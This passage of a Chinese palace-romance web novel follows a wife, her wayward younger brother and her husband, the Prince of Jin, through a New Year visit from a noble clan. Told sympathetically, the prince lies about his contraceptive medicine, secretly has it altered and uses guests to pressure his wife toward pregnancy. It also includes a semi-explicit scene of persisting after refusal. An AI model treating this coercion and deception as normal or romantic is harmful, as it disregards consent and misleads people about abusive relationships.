岑璠似是觉得这话从他嘴里说出太过可笑,“我为何要对黄氏心软,她害我母亲,也害了我,做过就是做过,现在她只道歉,送点东西,就要我当作什么都没发生过,怎么可能?” 这席话说完,元衡眼中的笑意却是沉了。 他忽然变得很安静,安静到岑璠都察觉出了异常。 她以为自己说错了什么,赶紧收住了话。 可他还是安安静静地坐在那里,没有像之前那般,在她说错话时恼羞成怒。 她又仔细回想了一番,觉得刚才也没说过什么冒犯他的话。 可她终归没多问什么,闭紧了唇。 忽然,他问道:“皎皎是说,害过你的人,你不会原谅,对吗?” 岑璠仔细揣摩他的话,忽然明白了他为何这么问她。 她回避他的问题,问道:“如果是殿下,会原谅吗。” 许久之后,元衡才承认道:“不会。” 他也不会原谅伤害过他的人,比如他的父皇,还有舅父。 他差点忘了,他和她有时也是一种人。 过去他也曾想过,她上一世那样爱着他,如果她回来了,看到他为她做的这些,会不会原谅他。 现在看来,她还是没想起来的好…… 可万一呢,这一世有许多事都不同了。 比如她和那郑氏成了朋友,他也原谅了杨知聿,还把军镇托给他… 元衡竟又改了口,“或许吧。” 听到他这么说,岑璠眉紧紧皱起,仿佛不认识她一般,觉得不可理喻。 “殿下宽宏大量。” 元衡听得出她语中的嘲讽,可也不好意思再说什么。 回到王府时,珝儿还在闹。 元衡让人将一处偏殿收拾出来,就在他们住所的不远处。 岑璠和他过去看了看,里外察看一番,确认没什么缺的,便准备离开。 珝儿盘腿坐在坐榻上,看了眼那位晋王姐夫,还是鼓起勇气,嗫嚅道:“阿姊,我知道错了,在这边会听爹的话,我真的不想去晋阳…” 岑璠手攥得紧,冷漠得不容拒绝,“你必须去。” 她只说了这一句,便离开了珝儿所在的偏院。 元衡自回来后,便一直有些心不在焉,也没有表态,紧随其后离开。 天色渐沉,街上人少了些许,偶尔还会传来几声爆竹声。 王府内无亲人拜会,与平日唯一的区别,大概也只有喜庆的灯笼和屋内装饰的堂花,殿外的枝桠上又凝结出了一层冰霜。 晚些时候,岑璠让人去偏殿传话,带珝儿来和他们用晚膳。 两人的晚膳向来用的静,各有各的心事,便是谁也没有说话。 王府的晚膳精细,因着过年,府上的人每道菜都不敢怠慢。 珝儿看着饭桌上那道翠玉芙蓉鸭,竟也觉得无趣,不由自主想起曾经在虞家过的年。 他的父亲认识很多人,有时还会有黄氏的亲友来拜会,大年初一,哪里会像这样冷清,定是一家人和和气气,热闹非凡。 珝儿来回看了看两人,两个人一个脸比一个冷。 他的嘴角下压,渐渐地蓄了几滴泪珠。 元衡就算再心不在焉,也是注意到了。 珝儿哭的越来越明显,岑璠能猜出来为什么,可她就是不想看到他为了虞家,为了黄氏而哭。 她脸色彻底冷了下来,倔强道:“不许哭。” 听得这么一声,珝儿愈发控制不住,眼泪涌出,“阿姊,我不想去晋阳,我想阿爹阿娘…” 房间内寂静了一瞬,谁也没再动筷,在屋内侍候的紫芯见事不妙,一行礼告退。 哭声萦绕在耳,岑璠也不禁红了眼睛。 他怎么能说这样的话…… 她唇微微颤抖,“我不会让你回去。” “我讨厌你…” 忽地,岑璠便是听到轻轻一声。 “你说什么?”她控制不住眼睛越来越红,像一只红鼻头的兔子,眼底兜了泪。 珝儿一直揉着眼睛,却没有再说第二遍,不知道是没听见还是不敢。 元衡见他装聋作哑,站起身,提起他的后襟,将他拎起来,“你再说一遍?” 珝儿顿时吓破了胆,脸色变得煞白。 元衡也没指望他说,只冷声道:“你给本王听好,你阿姊想让你留下,就算你哭到皇帝那儿,也不管用,听明白了吗?” 珝儿屏住呼吸,竟是硬生生将眼泪逼了回去,见晋王没有放手的意思,浑身颤抖,随后只能点了点头。 元衡这才放手,“给你阿姊道歉。” 珝儿立刻瘫坐在地上,可逆反心一起,便是怎么都不肯道歉,紧紧抿住自己的嘴。 岑璠也不曾注意,双眼无神,只呆呆坐在那里,鼻头泛红。 元衡见了心疼,手抚上她的脸颊,替她揩掉了眼泪。 岑璠拿开他的手,饭还没吃完,便站起身向门外走去。 她开门时,乳娘已经闻迅赶来。 “姑娘怎么哭了?” 岑璠什么话都没说,闷头向外走。 乳娘伸头向里看,却迎面差点撞上晋王,而后便是听到珝儿的哭声。 乳娘倒也听到了些刚才的事,愈发不安,见 到晋王一张黑沉的脸,不管三七二十一,便先道歉,“殿下莫怪,小公子不懂事…” 元衡瞥了她一眼,那眼神凌厉似剑,堵住了她的话。 “把他带下去,什么时候不哭,给王妃道歉,什么时候再给饭吃。” 元衡没再回屋,径直追了出去。 刚入寝殿,便是听见低声的啜泣。 他步子放缓了些,坐在她身边,揽过她来,轻声道:“莫哭…” 岑璠坐得离他远了些,“我没事。” 元衡没揭穿她,道:“你放心,孤叫人看着他,若他不道歉,便一直饿着。” 岑璠道:“他讨厌我,你饿着他有什么用?” 元衡道:“他离不开你,只是有恃无恐罢了。” 他这说的是实话,她对这个胞弟太在意了,就算是个蠢货,也能看出来她的在意。 有些人便是这样,对轻易得到的情意肆意挥霍,因为知道无论怎么伤害,对方还是会义无反顾对自己好。 久而久之,只要爱的那方有一点不合自己心意,都敢随意恶语中伤,只是为逞一时之快罢了。 实为无耻。 元衡忍住没去骂出声,又将她揽近,“这次你听我的,他会给你道歉。” 岑璠点了点头,她还是不想同他离这么近,想要从他的怀里退开些。 他却忽地一声轻笑,臂上用力,两人之间便又没了缝隙,“皎皎不觉得,你现在做的,和孤所做没什么两样?” 岑璠却不明白他指的是什么事。 元衡又说明白了些,“皎皎想强留住他,孤也想留住皎皎,你现在可是能明白了?” “他被这些人带坏了,我必须把他带离洛阳。”岑璠反驳道:“他本来该是我的阿弟,是我的至亲,这不一样。” 可她本也是该他的妻,一心一意对他的妻才对… 元衡心底这么想,心里愈发堵闷。 她这番话的意思他明白,她还是不想留下来,甚至是将她的胞弟带去晋阳,她也还是抵触一直留在他身边… 说不定哪一日,她便会带着她那没用的胞弟一起跑了。 岑璠还在想珝儿的事,“我这些日其实也想了,珝儿他也许只是不喜欢读书,到晋阳后若是能有个师父带着习武,说不定他能坚持下去,总要会些什么才对。” 元衡觉得,她好似将整颗心都扑在了珝儿身上一样。 一个长姊,考虑的事倒像是当母亲一般。 若是他们将来有个孩子,她大概也会如此吧,或许到时候她还是不会去关心他,但会一门心思都扑在孩子的身上。 孩子…。 如果他给她个孩子,那也算是她骨肉至亲,她心那么软,应该不会真的杀了。 或许她会恨他一段时间,但她生了以后,会做个好母亲。 忽然,有一种很疯狂的念头在脑中产生,愈演愈烈。 他心如隆鼓,曾经的前路迷茫仿佛在一瞬间清晰了起来。 他道:“皎皎放心,他若想习武,赵巍便能教。” “还在年中呢,皎皎开心些。” * 昨日守夜一夜未眠,岑璠本想早早歇下。 房内新点了红烛,上面雕刻了一朵寓意富贵的牡丹。 那盏红烛并没有被吹灭。 床幔被挑开,一只臂将她揽住时,岑璠便知道他要做什么。 可她今天实在没有心思同他折腾。 她深吸一口气,道:“还是早歇下吧。” 元衡却是不愿,他将她的头发撩开些,露出雪白的后颈,鼻梁挑起些她的乌发,轻轻嗅着。 “皎皎,已经许多日了…” 岑璠细细数来,从过大河到现在也不十日而已,并不算长。 不知何为克制,管不住自己**… 岑璠到底是没这么说,“殿下,我实在有些乏了。” 元衡却似是铁了心,大言不惭道:“知道,皎皎还在为珝儿的事烦心对不对?就是因为烦心,才该做些别的,松快些才能睡个好觉,” 他的话越说越荤,岑璠实在忍无可忍,侧躺在床上,一只手捂住自己的耳朵,另一只手想要掰开他。 他却是将她锢得紧了些,几乎密不可分。 “皎皎若是不愿,本王帮皎皎如何?” …… 这些时日,床榻之事,他还算温和,有时候还会给她些喘息的机会。 可他从来没有这样过。 她曲膝,他埋首,岑璠只觉得脏,这件事和他那日让她用手一样脏。 她手死死抓住锦绣,可不一会儿便身子不由自主自己颤抖。 他再起来时,还抹了抹唇角,甚至连高挺的鼻上都沾了些水渍,平日里那张冷然的容貌只剩了轻浮放荡。 他在她耳边轻问,那声音低沉,似在蛊惑,道:“现在呢,皎皎可有兴致?” 岑璠面色红润,身子仿佛化成了水,软软地瘫在榻上,只有那眼中还是桀骜。 她嘴上也并未承认妥协,一挑眉,问道:“殿下喝药了吗?”【你现在阅读的是 】 70-80 第71章 第七十一章咱们的孩子将来肯定会很聪…… 元衡话音顿了一瞬,只淡淡道:“喝了。” 岑璠看不到他的神色,可也觉得他今日是有备而来,并不是临时起意。 可也容不得她再仔细思索,他冲入,没再给她拒绝的时间。 或许是因为先前的温柔,床榻上还算是温柔契合。 只一个回合下来,岑璠便彻底没了力气。 到底是顾及着昨日守夜,也未再贪欢。 叫水过后,元衡从背后抱住了她,自然而然地将她锢近。 他的手下移,不自觉地摸向她平坦的小腹。 岑璠睁开眼,近乎本能地警惕,“殿下做什么?” 元衡轻声问道:“皎皎可是还在生珝儿的气? “殿下觉得呢?” 元衡轻轻蹭了蹭她的后颈。 他想要个孩子,可他终归还是想让她能欣然接受接下来的一切,就像平常人家的夫妇,满怀期待地迎接一个孩子的到来。 “皎皎若是觉得他不省心,其实也可以生一个。” 岑璠声音骤然冷了,“你说什么?” 他沉浸在自己的思绪中,大言不惭道:“你能是个好母亲,咱们的孩子将来肯定会很聪明,很懂事,起码比他要好……” 岑璠从未想过自己与他真的有孩子怎么办,若是长得像她,那倒是还能自欺欺人,可若是那个孩子身上有他的影子,那便是在时刻提醒她,她摆脱不了他,会被永远困在王府之中。 她难以想象,她会多厌恶这样一个孩子。 刹那间,她又想到什么,问道:“殿下刚才到底喝药没有?” 她的声音近在咫尺,黑暗中,元衡却闭上双眼。 他并未气急败坏,答道:“真的喝了…” 岑璠心里却隐隐不安。 虽说可能他并没有说谎,可他刚才的态度,她到底不放心… 岑璠道:“以后殿下还是在房间里喝药吧。” 他不在她面前喝药,她不放心。 元衡终于是沉默了,胸口微微起伏,“就真的这么不想要个孩子?” 岑璠知道自己是惹恼了他,可还是不愿退让,“殿下已经问过多次,难不成是想要反悔?” 他的确是想反悔了。 可若是太过明显,她定是会想尽办法避孕。 元衡没同她争执,道:“没有反悔,就依你的。” 岑璠放下些心来,可她知道,他定还是贼心不死… 以后她免不得多提醒些。 岑璠合上双眼,当晚却是又入了梦。 又是上次那场梦。 梦中的她,还是浑身发疼。 可这次疼的地方却是更清晰了些,她能感觉到,疼的地方是肚子… 那是一种钻心的疼,似是骨头缝里钻出来的一样,疼到浑身发冷。 梦中很黑,很阴冷,没有一点光照进来,似能闻到一股血腥味。 她似真的身临其境,能清楚感觉到那梦中的女子,从悲恸到冷寂。 梦中好像有什么人破门而入,从背后抱住她,呼唤得急切,声音温和而有轻柔。 她不知道那人是谁,可她能确认,这绝对不是她熟悉的一个人。 那声呼唤似真让她清醒了些,眼前还是一片昏暗,却不是全然被黑暗笼罩,出现了些光彩。 恍然间,她发现地上躺着一个女子,睁着的眼睛被扔用手合上。 那双眼睛,她似是见过。 竟然像是槿儿…… 岑璠忽地睁开了眼,呼吸急促。 鼻尖的血腥味不见,取而代之的 是她很熟悉的沉香。 她还在王府里,刚才只是场梦罢了… 这一次她能分得清现实和梦境。 她的槿儿,怎么可能死在她面前。 岑璠静静躺在床上,想把刚才那场梦赶紧忘了。 心绪慢慢平静下来,连五感也被从那场梦中拉了回来。 她似乎出了许多汗,脖颈上的汗珠正在慢慢变凉。 不同于梦境,她的小腹似透着温热。 他的手竟然一直搭在她的腹上,似就那么放了一整夜… 岑璠转头看去,不同于以往,他似乎并没有醒来。 她正纳罕,却是听到一声呓语。 他似乎也做了梦。 他头微动,似也陷入梦魇,说的话急促,听来听去,也只能听到一句,“别不要我…” 岑璠皱起眉,唤了他两声,他却是收紧了手,抓住了她腹上的寝衣。 她见唤不醒,便是起身,晃了他两下。 那毫无逻辑的呓语终于消失,呼吸似也恢复了平稳。 岑璠没有点灯,就这么低头看着他。 须臾后,他掀开被子,抱住了她。 岑璠有些无措,没有推开,也没有回应。 他也流了许多汗,埋首在她颈间,似有湿润滴到了她的肩头。 许久之后,他声音沙哑,轻轻问了句,“孤可是吵到你睡觉了?” 岑璠问道:“殿下可是做噩梦了?” 他静了一瞬,破涕而笑,“孤梦到你有喜了,但你不想要那个孩子,打掉了它。” “皎皎说,这该不会是真的吧?” 岑璠不知道该回答是真还是假的。 她道:“殿下若是言而有信,梦中的事不会发生。” 这下,就连一点气息都感受不到了。 他似是屏住了呼吸,不一会儿便放开了手。 不知道是不是梦醒了。 “睡吧。”他只冷淡地说了一声。 * 隔日,娄氏携儿女前来府上拜会。 娄氏与胡氏同为八部贵族之一,胡氏这些年得势,再加上宫中有位皇后,野心渐长,在宫中排除异己。 前些年娄氏本要举荐本族人做羽林监,却是被胡氏临时顶替,从此冲突愈演愈烈,竟在朝堂上成了敌对,自晋王在晋阳立府,娄氏还时常派人去府上拜会。 娄氏是大族,元衡倒也给面子,在府中开席设宴相待。 元衡听说,珝儿昨日闹了一会儿,到了子时才睡下。 不过也不算太晚,那个时候她和他也还没睡。 今日晨起,两人去看过,竟是还不同他们说一句话。 元衡敬他有几分骨气,却也没给他饭吃。 岑璠却觉得这样不是办法。 昨夜他再睡下时,她也想过,珝儿才十三四岁,有些道理,总是要说明白。 元衡没什么耐心,岑璠怕他添乱,便是让他出去。 元衡总觉得该再多饿一顿,不满她心太软,却是被岑璠冷眼扫过。 他重重一叹,没再多管,自己退了出去。 房间内只剩了两个人,珝儿坐在床上偏着头,还是不肯看她。 岑璠低眼,“很讨厌我是吗?” 没了元衡在,珝儿显然也少了些顾忌,撅着嘴,轻轻哼了一声。 岑璠却也没在意他这般态度。 面前得少年长得更像她母亲,她的母亲在彭城虽也是相貌极好,和她父亲常常被夸赞郎才女貌,可比其她那父亲出众的相貌,终究是差了些。 相貌平平,又无才能,哪头都不占,却又被她的父亲带偏,想学那些旁门左道… 岑璠手攥紧,问道:“你可知道,百年世家繁荣昌盛,靠的是什么?” 珝儿这个倒是答得快,伸着脖子道:“靠的是姓氏联姻,还有握在手里的权力。” “还有呢?”岑璠问道。 “还有…” 珝儿怎么也想不到,那些人生来高贵,打娘胎里将来的官职都被父辈定好了,世家繁荣不就靠的是这个? 岑璠道:“世家这些年,是垄断了仕途,朝中官员也以世家出身居多,可世家垄断的不仅只有官途和各地兵权,还有藏书典籍。” “你只看到了那些世家纨绔,他们不论如何,将来都能封个散官,得个官衔,可那些人手里没有权,真正有权的,也不是那些只会饮酒作乐的纨绔,崔卢郑王四家,哪家家主不是真有真才实干,哪家不是靠他们才能门客遍布朝野?” 珝儿倒像是听进去些,也没反驳些什么,只小声道:“我也可以靠阿爹……” 岑璠皱起眉,蹲下身好声想劝,“父亲若是不在了呢,你靠什么?虞氏就你一个继承家业的,你之后要靠谁?父亲他相貌好,会吟诗作赋,你有什么?” 珝儿不服,“我也可以像阿爹一样,阿爹念的那些诗我也会,我也有好多朋友…” 岑脸黑了许多,冷笑一声,“你说的朋友,难道就是上次那个,赌输后拿你当垫背的娄氏公子吗?” “那算是什么朋友?” 珝儿哑口无言。 岑璠趁机说道:“珝儿,事情不是你想的那么简单,这世上是有不公平,却也是看本事说话,就算是父亲,过去多年走商路,也还有一身处事圆滑的本领。再说黄氏家主,靠他一个人是能带领家族兴旺一时,可家主一死,连个能主事的也没有,没落的不是也快?还有崔柳两家,那样有本事的人,一旦行差走错,也顷刻间灰飞烟灭,就算是父亲,说不准哪日便也要出错。” “人这一辈子不可能只寄希望于别人。” 珝儿沉默了片刻,抬起眼看她,声音软了许多,“那阿姊觉得我应该怎么做?” 岑璠见他听进去去,欣慰了许多,她摸了摸珝儿的头,道:“阿姊不需要你将来能出人头地,只希望你能学一些能立足的本领,咱们比起其他连书都碰不到的人,已经好许多了,既然有这个机会,该好好珍惜。” 她又退让了一步,“珝儿若是不喜欢读书,等去了晋阳,殿下会给你找个师父,教你习武,这样若是将来阿姊和父亲不在了——” 珝儿抱住了她,“阿姊胡说,阿姊和阿爹都要好好的。” 岑璠轻轻笑了笑,没有回他的话。 他不恨虞氏,也不恨黄氏,可她不一样,她和父亲,终归是有一个要死在对方手上。 他能好好的,堂堂正正做人便是… 岑璠道:“待会儿娄氏的人要来王府,那娄三公子也要来,你也跟着去宴席,同他表个态,以后莫要再来往了。” * 岑璠带珝儿出去时,已经彻底安静了下来,不仅如此,还牵着岑璠的手。 元衡看了一眼,还是一副骇人冷面。 珝儿还是见了发怵,躲在岑璠身后,只敢偷偷看几眼。 元衡没工夫多搭理他,只叫来几个人给他擦把脸,沾的鼻涕眼泪擦干净,收拾一番。 因着要设宴,府中早早忙碌起来,元衡没空在偏院等着,带岑璠去迎客。 晋王府很少摆宴,他也很少带她见什么人,之前在晋阳时,来府上的也常常都是杨家人,他从来不会让她出去见。 除了娄氏家主娄伯远,前来拜会的还有娄氏三位公子及其妻眷,那二公子的孩子不过一岁,竟也是带过来了。 宴席上有几个孩子,便是吵吵闹闹,说得多是些客道话和家常,娄氏家挨个介绍了几个子女,说到那娄三公子娄仟时,还同岑璠道了歉。 “逆子顽劣,听说曾经还带着王妃的胞弟去过赌场,还险些害得王妃的胞弟遇险,实在我教子无方。” 说罢,娄家主横眉一竖,“逆子,还不来道歉!” 娄仟赶紧站起身,恭恭敬敬道了个歉,多看了岑璠几眼。 岑璠并未说什么,可到底也没给什么笑脸。 宴席快上时,珝儿才来到席面上。 那张哭花的脸已经洗的白净,若是不仔细看双眼下微红的 眼袋,便是看不出哭过。 身上穿的衣裳也换过,那是元衡听说她要将珝儿接到府上时,找人临时准备的。 即使是这样,也比起昨日进府时穿的那件料子好了不少,衣上的花样虽少,显得素净,却比之前贵气。 他来时低着头,见到那娄三公子,只抬头瞧了一眼,似是对这宴席没什么兴致。 娄仟睁大眼,恨不得在席上揉一揉自己的眼睛。 他没看错? 他听闻这晋王向来不通情理,取了个庶族王妃不说,现在竟然是将那王妃的弟弟接来了府上? 娄仟在和珝儿结交时,也是打听过一番,知道那虞家的情况,当初也不过是想有个人陪他玩玩,顺便还能夸他几句罢了,左右虞氏怪也怪不到他娄氏头上。 谁知道鸡竟然真的变成凤凰了。 娄仟又上上下下看了眼他身上的衣裳,能认得出那些都是好料子,比起之前他穿的那些花哨衣裳,倒还真是像模像样。 娄仟冲珝儿傻傻笑了两声。 珝儿倒也还记得赌场之事,看了他两眼,没有因为他的赔笑就回个笑脸。 宴席开后,玉盘珍馐摆满桌,鸡鸭鱼肉俱全,珝儿饿了一个晚上,坐在岑璠旁边,埋头吃饭。 岑璠看出了异常,也担心他吃太多,提醒了两句。 珝儿一句话未说,该举杯时便也举杯,倒是没怎么失了礼数。 宴席散后,娄氏家主与娄氏大公子留在席间,似是有事要同元衡商议。 元衡罕见地嘱托岑璠去接待其他女眷。 在娄氏面前,岑璠倒也是做好那晋王妃该做的事,淡淡扫了元衡两眼,找人在小厅内上了茶点。 珝儿离席后,未想逗留,便同岑璠说想要回房。 岑璠觉得他回房也好,便叫槿儿同他一起回去。 珝儿随槿儿回去,路上却遇见那娄三公子迎面而来。 他低下头,假装没看见,却是被拦了下来。 娄仟叫了一声他的大名,“黄珝。” 珝儿抬起头,那眼神看起来,和岑璠要动怒时一模一样。 娄仟愣了愣,停住话音,憨憨笑了两声,“我今后是该叫你黄珝还是该叫你岑珝?” 珝儿冷道:“我只是来王府了而已,还没改姓。” 娄仟见他愿意好好说话,松了口气,正要上前一步,却见他绕开他就要走。 “别走呀。”娄仟跟了上去。 珝儿没回头看他,埋头向前,“你以后不要来找我了。” “你是不是记仇了?我同你讲,那次赌场的事真的是个意外,我没想丢下你,只是回家想招,想怎么要钱而已…” 珝儿淡淡道:“我知道了,你走吧。” 娄仟还继续跟着,“你到底怎么了?” 怎么来了一趟王府,像是中蛊了一样? 娄仟眼睛转了转,道:“你阿姊都说了什么?给兄长我说,我给你支个招。” 珝儿停下脚步,郑重道:“我请你不要再跟着我,我今后不想同你玩了。” 娄仟看了他几眼,“我明白了,你阿姊是不是说你不学无术,让你少同我说话?” 珝儿剜了他一眼,“明知故问。” 槿儿也察觉到不对,站到两人中间,“小公子要回去了,娄公子请回吧。” 娄仟显然不将槿儿放在眼里,眼睛在她身上飘了两眼,嘴一歪,挑眉道:“我有话想同你家公子说,不便你听,先下去吧。” 槿儿并没有走,拉起珝儿的手就要往前走。 娄仟喊道:“你阿姊不就是嫌你没本事,做不了官吗?我帮你,保准她看得起你。” 珝儿顿住脚步,槿儿却是越听越气,“我们走。” “你家公子不想走,未免管的太宽了吧。”娄仟抱臂,“今天在王府,看你是王妃身边伺候的,过年不想伤和气,识相点便别打听主人家的事,赶紧滚远点。” 槿儿自知两人肯定不会说什么好事,可如今娄氏还在府上,确实不宜闹大。 她扫了眼两人,便又向刚才来的方向而去。 娄仟望着她离去的方向,轻蔑地笑了一声,道:“她是要去给王妃告状?” “这不是告状…” 娄仟却拍了拍他的肩膀,“你可真能忍,被王妃这样监视,连朋友说句话都不让,还能不反抗。” 话音仍会想在耳边,珝儿有些呆楞。 监视…… 娄仟看了看他,道:“我知道你阿姊说了什么,我家里人老说,什么没本事,要我好好读书,不能老想着靠他们。” 他似也有所顾忌,压低了些声音,“他们呀,就是只许州官放火,不许百姓点灯,你想想你那阿姊,不也是嫁进王府,靠晋王得来的荣华富贵?她有什么本事,能去上桌议事吗?不还是听晋王的,乖乖去接待我们娄氏女眷。” 珝儿静静听着,却觉得也是这么回事。 她阿姊嫁进王府时,也有不好的流言传出来,现在想来,若不是使了手段,她阿姊的身份,怎么能嫁入王府…… 他还是辩解了两句,“你胡说,我阿姊和晋王殿下那事,各自…” 他重复了两遍,还是想不起来那词怎么说。 娄仟却是接道:“各司其职对不对?” 他眼角流出些笑,“我也知道,你阿姊肯定也是为了你打算,就晋王那样的人,她将来也不好开口去求个官,肯定是要你自己成器……” “但兄长同你说句心里话,这个世道,有时候努力一辈子,他也不如搭上条线。” 珝儿渐渐地,眼中失了些锐利,犹豫片刻,问道:“什么线?” 娄仟眉眼一挑,打了个响指,“这才对嘛。” “我同你讲,我认识一个人,是五公主的身边的人。”他怕珝儿不知道五公主是什么人,道:“那五公主可是晋王的亲妹妹,如今出嫁后开府居于宫外,你三天后出府,去那云珮阁附近,我找人给你牵条线,那公主看在你是王妃胞弟的面子上,想必定会重用你,到时候晋王万一能成皇帝,你成公主的左膀右臂,说不定还能拿捏你阿姊呢……” 娄仟搂住他的肩,“到时候兄长我也要依仗你!” * 宴席另一边,岑璠正在和娄氏大公子和二公子带来的女眷闲聊。 说的出了家里长家里短,便是那些用来打发时间的闲事。 不知道是从哪里打听来的消息去,那娄氏二夫人竟是知道她会丹青。 岑璠说了些平日里画的画,可那娄二夫人似也不打算深聊,只马虎应付了几句。 忽地,二夫人身上抱的奶娃娃伸出小手来。 娄大夫人打趣,“瞧瞧,这孩子多聪明,知道那花蜜好吃,竟是认下来了。” 娄二夫人笑脸盈盈,“是呀。” 她将花蜜拿来,只喂了一小口,便不给吃了。 哄了几句,问道:“这孩子可乖了,王妃可愿意来抱抱?” 这话倒是说的岑璠不好拒绝,总不能说不愿。 她迟疑片刻,那娄二夫人已经抱着那小团子来了她身边。 岑璠接过,抱得不算娴熟,可到底会抱。 那小娃娃离了母亲却也不哭,只有些害怕,搂紧了岑璠的脖子。 娄二夫 人看了,便是问道:“王妃曾经可是抱过孩子?” 岑璠摇了摇头,“过去看过家里人抱我阿弟…” 父亲下落不明时,母亲肚子还大着,家里起初瞒着父亲的噩耗,后来却是没瞒住。 珝儿早产,可没过几个月,她的父亲便带黄氏回来了。 那时母亲精神不好,大病一场后,一句话也不肯说,也不肯再喂养弟弟。 她那时和家里人一起照顾珝儿,看多了乳娘怎么抱,便是自己也能记住。 岑璠又看向自己怀里的小团子,那男孩儿应当还不到一岁,竟和曾经没长大的珝儿有些相似,瘦瘦小小的。 她眼底愈发温柔,“小公子叫什么名字?” 娄二夫人道:“王妃不知,这孩子生下来时不足月,家里怕养不活,名字起的晚,前段时日才定下来名字,单名一个昭,取昭昭日月,显耀华贵之意。” 岑璠笑了笑,伸手戳了戳婴儿面团似柔软的脸蛋,“好名字。” 娄二夫人看了看,弯起唇,掩面轻轻一笑,“我看王妃也是喜欢孩子的,既然喜欢,不如快些同殿下生一个呢。” 第72章 第七十二章都在骗她 岑璠闻言愣了愣。 那怀里的小团子微微张大嘴,似是对她很好奇,红扑扑的脸蛋上露出了些笑容,比刚才还可爱些。 她一扫周围的人,似乎每一个妇人都在看她,等着她多说些什么。 可在岑璠看来,自己怀里抱的奶娃娃却瞬间不怎么讨喜了。 她几乎能瞬间明白,这些人为何会知道她会丹青,问她的画却又兴致缺缺。 原来是别人派来的说客罢了…… 岑璠将那小团子抱还给妇人,轻轻笑了笑,什么都没说。 娄氏二夫人同大夫人对视,也不知道她究竟是什么态度。 娄大夫人此番劝说是听了自家夫君的委托,按她夫君的说法,晋王是想要个孩子的,但王妃却是怕麻烦,不想生。 这妇人家哪有不生孩子的,何况这王妃非世家出身,趁着年轻,晋王宠爱,更该多生几个巩固自己的地位才是。 娄大夫人不想让场面尴尬,紧接着又开口,“王妃可不知道,这小孩虽是会闹腾一段时间,可过了那段时间,便是可爱得紧呢。” 这话岑璠也不好不回,她抿了抿唇,道:“再说吧。” 她这般答,娄大夫人也不好再多冒昧追问,只好收住话。 只又说了几句家事,岑璠便见槿儿快步走入厅中。 槿儿上前,凑在她耳边,将刚才发生的事说与岑璠听。 岑璠眉越皱越紧,道:“你去找韩泽,让他一起看着珝儿,莫要让他再和那娄三公子多说什么。” 槿儿得令,很快便下去。 周围的妇人不明所以,也不好多问这王府的私事,便也当作什么都没发生过。 岑璠终究放心不下,很快便散了席,娄家两个夫人也颇有眼力,未多坐逗留。 她快步回去,来到珝儿所住的偏殿。 那娄三公子倒也不敢堂而皇之来到王府后院,只珝儿一个人在偏殿里呆着。 槿儿和韩泽两人像门神一样守着门,珝儿不免想起刚才娄仟说的话。 他说的倒也没错,的确像是在被他阿姊监视着…… 岑璠走进屋,并没有训斥,直直注视着他,似是急切,问道:“刚才那娄氏公子对你说了什么?” 珝儿扫了眼她身边的紫芯,自知瞒不过,便是讲刚才娄仟说的话有所保留地讲予她听,“他说他有办法,能让我将来也做官…” 此话一出,岑璠瞬间面若冰霜,那双眼底似藏有锋利。 珝儿只说了这一句,至于后面娄仟同他说的,怎么能让他做官,便是不敢再同岑璠说。 岑璠道:“他都是骗你的,你与娄氏非亲非故,他为何要替你求官?若是娄家真能求得好官,他为何不替自己求一个?” 珝儿低埋着头,安安静静听她讲空道理。 岑璠还是不放心,抿了抿唇,扶住他的肩,让他抬头,想要看到他的眼睛,“他说的什么,珝儿都不要信,明白吗?” 珝儿道:“知道了。” 他嘴微微嘟起,似是不满,“阿姊你不用让这么多人看着我,我又不是三岁小孩……” 岑璠想说他不省心,所以才要看着他,可到头来却是没说出口。 她只道:“那娄氏三公子一看便是个心眼多的,嘴里没什么真话,阿姊怕你受骗。” “听阿姊的话,他说的你一个字都别信,去晋阳跟着殿下的人好好学本事,将来才能走的更稳当。” “真的吗?”珝儿问。 在他看来,那娄仟说得倒并非全是错的… 起码他在被监视就不假,还有,他的阿姊自己也是靠着晋王,即使为了他,也仅仅是因为努力讨好晋王,才得庇护罢了。 岑璠却不知他心里如何想,只强调道:“珝儿相信阿姊,阿姊不会骗你的…” * 元衡同娄氏说完事,便得知她早早散了宴席,去了珝儿的住处,还叫去了韩泽。 他觉得反常,便是找来韩泽,说清了前因后果。 元衡皱起眉,道:“娄氏还未走远,你去让人追上他们,将今天发生的事一五一十说给娄家主听,本王也想听听,这官位娄氏敢不敢给。” 他交代完这些,并未立刻回房。 府上来了位医士,正是之前给元衡方子的那位。 元衡到底是不敢明目张胆地换药,他喝的那方子气味特殊,她对此事素来小心警惕,看他像嫌犯似的,稍有不慎,他便有可能被发现… 元衡叫来太医,只让他动其中几种主要的药材,而不变其气味颜色。 医士行医多年,从未见过这样的要求,动了那药材中重要的几味,便是失了药效,却要不变气味,难不成还能是晋王喜欢喝苦药? 他正纳罕,却是听见晋王又问,“本王之前喝药,可是对身子有损?” 太医这才忽然反应过来,自己当初煞费苦心找来这药是为了什么。 殿下想动药方,难不成是想要孩子了? 堂堂一个晋王,想要一个孩子那不是一句话的事,何必偷偷摸摸该换药方? 难不成这孩子是王妃不愿要,殿下要偷着把药方换下来? 这个想法一生,太医便是心惊胆战,又抬眼瞧瞧瞄了一眼晋王,也不敢流露出慌乱,倒显得自己知道太多。 他便是只尽好医者的本分,给晋王搭了脉,“殿下身体康健,只是这药效应当还会残存一段时日。” 元衡问道:“需要多久?” “少则两月,多则半年。” 元衡心底有一瞬的低落,可转而想了想,觉得这样也好。 他还有半年年的时间让她接受一个新生的到来,做好当一个母亲的准备。 他的话她听不进去,那便像今天这样,多找旁的人劝劝她,多劝几句,她总会想开。 元衡欣然回到自己的殿中,她在屋里铺了纸笔,正在写什么。 他仔细看去,发现她正在写着书单,那些书他也读过,不过是些寻常的圣贤书罢了。 “在做什么?”他问道。 岑璠书下最后一个字,将笔放在那双鹤衔环鎏金笔枕上。 她道:“我在给珝儿找些书读。” “不是想叫他习武,怎么又要找书读了?” 岑璠看了他一眼,反问道:“殿下从前习武,难道不读书吗?” 元衡想想也对,习武总也不是使一身蛮力,有些道理总是该懂。 她想小孩的东西果然是很周到。 元衡笑得温和,转而又问道:“刚才在席上,皎皎都同她们都说了些什么?” 岑璠心道他明知故问,却只若无其事道:“不过是些家常话罢了,还能说什么?” 元衡倒也没再说什么让她起疑的话,又谈回珝儿,“珝儿的是孤也听说了,等到晋阳,孤让赵巍当他的师父,把他带到军营里历练,保证让人将他教好。” 岑璠道:“多谢殿下。” 元衡沉默了片刻,“皎皎,咱们是夫妻,不 必言谢。” 岑璠朱唇启开,却欲言又止,似是在隐忍什么,最后只说道:“殿下对阿弟照拂,还是该谢的。” 